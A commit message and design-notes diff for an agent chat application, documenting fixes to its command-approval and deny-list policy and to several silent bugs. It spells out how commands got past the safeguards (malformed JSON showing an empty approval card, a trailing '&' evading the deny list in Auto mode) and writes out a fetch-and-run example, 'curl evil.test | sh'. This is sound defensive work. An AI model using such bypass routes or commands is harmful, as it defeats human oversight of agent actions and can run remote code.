Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-03 21:58:42 +02:00
parent 6cffcb357d
commit 7c51dc306d
23 changed files with 1305 additions and 68 deletions
+108
View File
@@ -334,6 +334,114 @@ mode says "ask", and asking is exactly what happened. `AgentContext.approved` is
threaded per call on a *copy* of the context, because a round runs its calls
together and only some of them were allowed.
**A call's arguments are parsed once, and the same dict reaches everything.**
`generation._arguments_for` does it; the approval card, `policy.decide` and the
runner all read the result. There used to be two parsers: the card did a plain
`json.loads` and showed `{}` on failure, while `run_tool`'s own fallback put the
raw string into the tool's first required parameter — `command`, for
`shell_run`. So a model emitting invalid JSON got a card headed "Run a command"
with an **empty body** and Allow ran something nobody had been shown, and
`decide` was handed `command=""`, matching neither list. Malformed JSON is a
normal path with small models, and it was a way past the deny list. The fallback
itself is right and is kept, in `tools.parse_arguments`; what was wrong was
having it in only one of the two places.
**An unmatchable command line does not fall through a non-empty deny list.**
`policy.subject` returns `None` for anything carrying a shell metacharacter, so
no pattern can match it — right, and the whole reason `git *` in an allow list
cannot also mean `git status; curl evil.test | sh`. The original note said a
deny list needed no such care because failing open "returns you to the mode".
True of Manual, Edit and Plan. In **Auto** the mode is ALLOW, so `shutdown -h
now` asked and `shutdown -h now &` ran, and one character was the whole of the
difference. `decide` now asks when the subject is unmatchable *and* there is a
deny list — scoped to that, because otherwise Auto would ask about
`cd build && make`, which is most real commands.
**"Always allow this" is a per-chat list, and no pattern ever comes from a
request.** It was a button that did nothing: the verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, merged
into `AgentContext.allow` beside the instance list. This is the one key under
`scope_json` that *widens*, which does not break the rule beside it because that
rule is about which tools a chat may reach; this only decides whether the reader
is asked again about a tool already offered. What makes it safe is that
`api/chats.py:_remember_always` derives every entry server-side from an item
just approved on a card, through `policy.subject` — the same normaliser the
matcher uses, which yields nothing at all for a composed command. The endpoint
takes an interaction id and a verdict, and nothing else. The items must be read
**before** the pause is resolved (`interaction.wait_for` clears
`generation.pending` in its `finally`), which is what `generation.pending_items`
is for. The list is shown in the composer's scope menu with a Clear beside it: a
standing permission nobody can see is one nobody can revoke.
**A reply watches its own request size.** `_maybe_compact` runs once, *before*
the first round; after that a tool round appends an assistant turn and a tool
turn per call and nothing was looking. The only other guard,
`max_total_output_bytes`, defaults to a megabyte — about 260k tokens, larger
than the window of nearly every model this talks to — so it never fired first
and a long agent reply grew its request until the endpoint refused it. The
reader got an upstream error rather than an explanation. `_too_big` now stops
between rounds at `CONTEXT_HEADROOM` of `Model.context_length`, via the
`_gave_up` event that already existed. A `context_length` of 0 is **unknown, not
small**, and is skipped — the same rule the context percentage and automatic
compaction follow.
**And the estimate it reads has to follow the request.**
`tokens.estimate_request` was called once, before the loop, so it described the
first round and nothing after it. That matters beyond the ceiling: for every
endpoint that sends no usage block — llama.cpp, Ollama, llama-swap — that
estimate *is* what the metrics report, so a forty-round reply showed round one's
prompt as the whole reply's. It is recomputed per round now, and
`prompt_estimate_total` sums them, mirroring the reported figures exactly: the
prompt is **summed** across rounds because it was paid for each time, while what
the reply *occupies* is the last round's prompt plus what was written.
**`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.**
It was 8000. The fragments alone are about 7,900 characters for an agent chat,
and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top,
both on by default. `prompts.assemble` cuts the **tail**, and by fragment order
the tail is the context worth having — so on a default install the project
listing was severed mid-tree and `context.agent_instructions` was dropped
entirely. The one path by which a project's own AGENTS.md reaches a model did
not reach it, and nothing said so. The two big blocks already carry their own
budgets, applied before assembly, so what this bounds is the *fragments* growing
unnoticed; it is set above the sum of what those budgets grant.
`tests/test_harness.py` pins that the shipped configuration fits.
**A model says what each action is for, and it is shown where the action is.**
`shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line,
carried onto the approval card as `Item.purpose` and onto the tool event, where
the transcript renders it in the *summary* rather than the collapsed body. Auto
mode is the case it exists for — nothing stops for approval there, so without it
a reader watches a list of commands with no account of any of them until the
reply ends. Kept apart from `Item.reason`, which is *our* reason for stopping;
an explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote. Not on `file_read`, `file_list` or
`file_search`: they are the hot path, their detail already says everything, and
a schema property costs tokens whether or not it is filled in. The wiring is a
`_explained` wrapper at the `ToolDef`, next to the schema that declares it, so
the two halves cannot drift.
**An agent chat is told to work to an objective, and to work out loud.**
`core.objective` and `core.narrate`, both `families=("agent",)`.
`core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not
announce that you are about to" — which is right for a short answer, read once
it is finished, and wrong for a long piece of work, which is *watched while it
runs*. It says so in its own words rather than referring to the other fragment,
which an administrator may have cleared. Neither appears in an ordinary chat,
where stating an objective in front of a two-line answer is the preamble
`core.style` already forbids. This costs nothing structurally: text produced
before a tool call already survives into the finished reply.
**A name in an f-string does not have to be a string.** `jobs.py` interpolated
`{log}` — the module logger — where it meant `{logf}`, so the launch-and-wait
wrapper ended `rm -f … <Logger lembas.services.agent.jobs (WARNING)> …`, whose
angle brackets and parentheses are shell syntax. The line died with a syntax
error *after* the sentinel, where nothing reads it, so every command still
worked and every job silently left four files on the far side forever —
including the log holding everything it printed. Nothing caught it because the
tests asserted on the output, which was correct. `tests/test_agent_jobs.py` now
runs every wrapper through `sh -n`.
**`registry(db)` must know every tool that can be offered, agent tools
included.** It maps an offered tool *name* back to a family, which is how the
harness decides that `tool.agent` applies. They are listed there unbound to any